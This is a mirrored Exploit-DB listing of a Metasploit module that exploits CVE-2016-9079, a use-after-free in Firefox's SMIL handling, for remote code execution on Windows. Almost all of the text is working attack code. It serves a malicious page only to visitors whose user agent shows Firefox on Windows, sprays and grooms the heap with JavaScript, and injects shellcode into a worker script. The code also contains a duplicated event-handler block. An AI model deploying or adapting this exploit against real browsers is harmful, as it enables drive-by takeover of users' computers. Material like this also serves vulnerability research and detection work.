Mozilla Firefox < 50.0.2 - 'nsSMILTimeContainer::NotifyTimeChange()' Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2017-01-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41151/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    
    include Msf::Exploit::Remote::HttpServer
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE",
    'Description'=> %q{
    This module exploits an out-of-bounds indexing/use-after-free condition present in
    nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox
    on Microsoft Windows.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Anonymous Gaijin', # Original research/exploit
    'William Webb <william_webb[at]rapid7.com>' # Metasploit module
    ],
    'Platform' => 'win',
    'Targets'=>
    [
    [ 'Mozilla Firefox',
    {
    'Platform' => 'win',
    'Arch' => ARCH_X86,
    }
    ],
    ],
    'DefaultOptions'=>
    {
    'EXITFUNC' => "thread",
    'InitialAutoRunScript' => 'migrate -f'
    },
    'References' =>
    [
    [ 'CVE', '2016-9079' ],
    [ 'Bugzilla', '1321066' ]
    ],
    'Arch' => ARCH_X86,
    'DisclosureDate' => "Nov 30 2016",
    'DefaultTarget'=> 0
    )
    )
    register_options(
    [
    OptBool.new('UsePostHTML', [ true, 'Rewrite page with arbitrary HTML after successful exploitation.NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!', false ]),
    ], self.class
    )
    end
    
    def exploit_html(cli)
    p = payload.encoded
    arch = Rex::Arch.endian(target.arch)
    payload_final = Rex::Text.to_unescape(p, arch, prefix='\\u')
    base_uri = "#{get_resource.chomp('/')}"
    
    # stuff that gets adjusted alot during testing
    
    defrag_x = %Q~
     for (var i = 0; i < 0x4000; i++)
     heap80[i] = block80.slice(0)
     ~
     defrag_y = %Q~
     for (var i = 0x4401; i < heap80.length; i++)
     heap80[i] = block80.slice(0)
     ~
    
    js = %Q~
    var worker = new Worker('#{base_uri}/worker.js');
    var svgns = 'http://www.w3.org/2000/svg';
    var heap80 = new Array(0x5000);
    var heap100 = new Array(0x5000);
    var block80 = new ArrayBuffer(0x80);
    var block100 = new ArrayBuffer(0x100);
    var sprayBase = undefined;
    var arrBase = undefined;
    
    var animateX = undefined;
    var containerA = undefined;
    
    var milestone_offset = 0x90;
    
    var $ = function(id) { return document.getElementById(id); }
    
    var heap = function()
    {
     var u32 = new Uint32Array(block80)
    
     u32[4] = arrBase - milestone_offset;
    
     u32[0xa] = arrBase + 0x1000 - milestone_offset;
    
     u32[0x10] = arrBase + 0x2000 - milestone_offset;
    
     var x = document.createElementNS(svgns, 'animate')
     var svg = document.createElementNS(svgns, 'svg')
    
     svg.appendChild(x)
     svg.appendChild(x.cloneNode(true))
    
     for (var i = 0; i < 0x400; i++)
     {
     var node = svg.cloneNode(true);
     node.setAttribute('id', 'svg' + i)
     document.body.appendChild(node);
     }
     #{defrag_x}
    
     for (var i = 0; i < 0x400; i++)
     {
     heap80[i + 0x3000] = block80.slice(0)
     $('svg' + i).appendChild(x.cloneNode(true))
     }
    
     for (var i = 0; i < 0x400; i++)
     {
     $('svg' + i).appendChild(x.cloneNode(true))
     $('svg' + i).appendChild(x.cloneNode(true))
     }
    
     for (var i = 0; i < heap100.length; i++)
     heap100[i] = block100.slice(0)
    
     #{defrag_y}
    
     for (var i = 0x100; i < 0x400; i++)
     $('svg' + i).appendChild(x.cloneNode(true))
     }
    
     var exploit = function()
     {
     heap();
    
     animateX.setAttribute('begin', '59s')
     animateX.setAttribute('begin', '58s')
     animateX.setAttribute('begin', '10s')
     animateX.setAttribute('begin', '9s')
    
     // money shot
    
     containerA.pauseAnimations();
     }
    
     worker.onmessage = function(e)
     {
    worker.onmessage = function(e)
    {
     window.setTimeout(function()
     {
     worker.terminate();
     document.body.innerHTML = '';
     document.getElementsByTagName('head')[0].innerHTML = '';
     document.body.setAttribute('onload', '')
     document.write('<blink>')
     }, 1000);
    }
    
    arrBase = e.data;
    exploit();
    }
    
    
    var idGenerator = function()
    {
     return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1);
    }
    
    
    var craftDOM = function()
    {
     containerA = document.createElementNS(svgns, 'svg')
     var containerB = document.createElementNS(svgns, 'svg');
    
     animateX = document.createElementNS(svgns, 'animate')
     var animateA = document.createElementNS(svgns, 'animate')
     var animateB = document.createElementNS(svgns, 'animate')
    
     var animateC = document.createElementNS(svgns, 'animate')
    
     var idX = idGenerator();
     var idA = idGenerator();
     var idB = idGenerator();
     var idC = idGenerator();
    
     animateX.setAttribute('id', idX);
     animateA.setAttribute('id', idA);
     animateA.setAttribute('end', '50s');
     animateB.setAttribute('id', idB);
     animateB.setAttribute('begin', '60s');
     animateB.setAttribute('end', idC + '.end');
     animateC.setAttribute('id', idC);
     animateC.setAttribute('begin', '10s');
     animateC.setAttribute('end', idA + '.end');
    
     containerA.appendChild(animateX)
     containerA.appendChild(animateA)
     containerA.appendChild(animateB)
    
     containerB.appendChild(animateC)
    
     document.body.appendChild(containerA);
     document.body.appendChild(containerB);
    }
    window.onload = craftDOM;
    ~
    
    # If you want to change the appearance of the landing page, do it here
    
    html = %Q~
    <html>
    <head>
    <meta charset="utf-8"/>
    <script>
    #{js}
    </script>
    </head>
    <body>
    </body>
    </html>
    ~
    
    if datastore['UsePostHTML']
    f = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "post.html"), "rb")
    c = f.read
    html = html.gsub("<blink>", c)
    else
    html = html.gsub("<blink>", "")
    end
    send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
    end
    
    def worker_js(cli)
    p = payload.encoded
    arch = Rex::Arch.endian(target.arch)
    payload = Rex::Text.to_unescape(p, arch)
    wt = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "worker.js"), "rb")
    c = wt.read
    c = c.gsub("INSERTSHELLCODEHEREPLZ", payload)
    c = c.gsub("NOPSGOHERE", "\u9090")
    send_response(cli, c, { 'Content-Type' => 'application/javascript', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
    end
    
    def is_ff_on_windows(user_agent)
    target_hash = fingerprint_user_agent(user_agent)
    if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/
    return false
    end
    return true
    end
    
    def on_request_uri(cli, request)
    print_status("Got request: #{request.uri}")
    print_status("From: #{request.headers['User-Agent']}")
    if (!is_ff_on_windows(request.headers['User-Agent']))
    print_error("Unsupported user agent: #{request.headers['User-Agent']}")
    send_not_found(cli)
    close_client(cli)
    return
    end
    if request.uri =~ /worker\.js/
    print_status("Sending worker thread Javascript ...")
    worker_js(cli)
    return
    end
    if request.uri =~ /index\.html/ or request.uri =~ /\//
    
    print_status("Sending exploit HTML ...")
    exploit_html(cli)
    close_client(cli)
    return
    end
    end
    end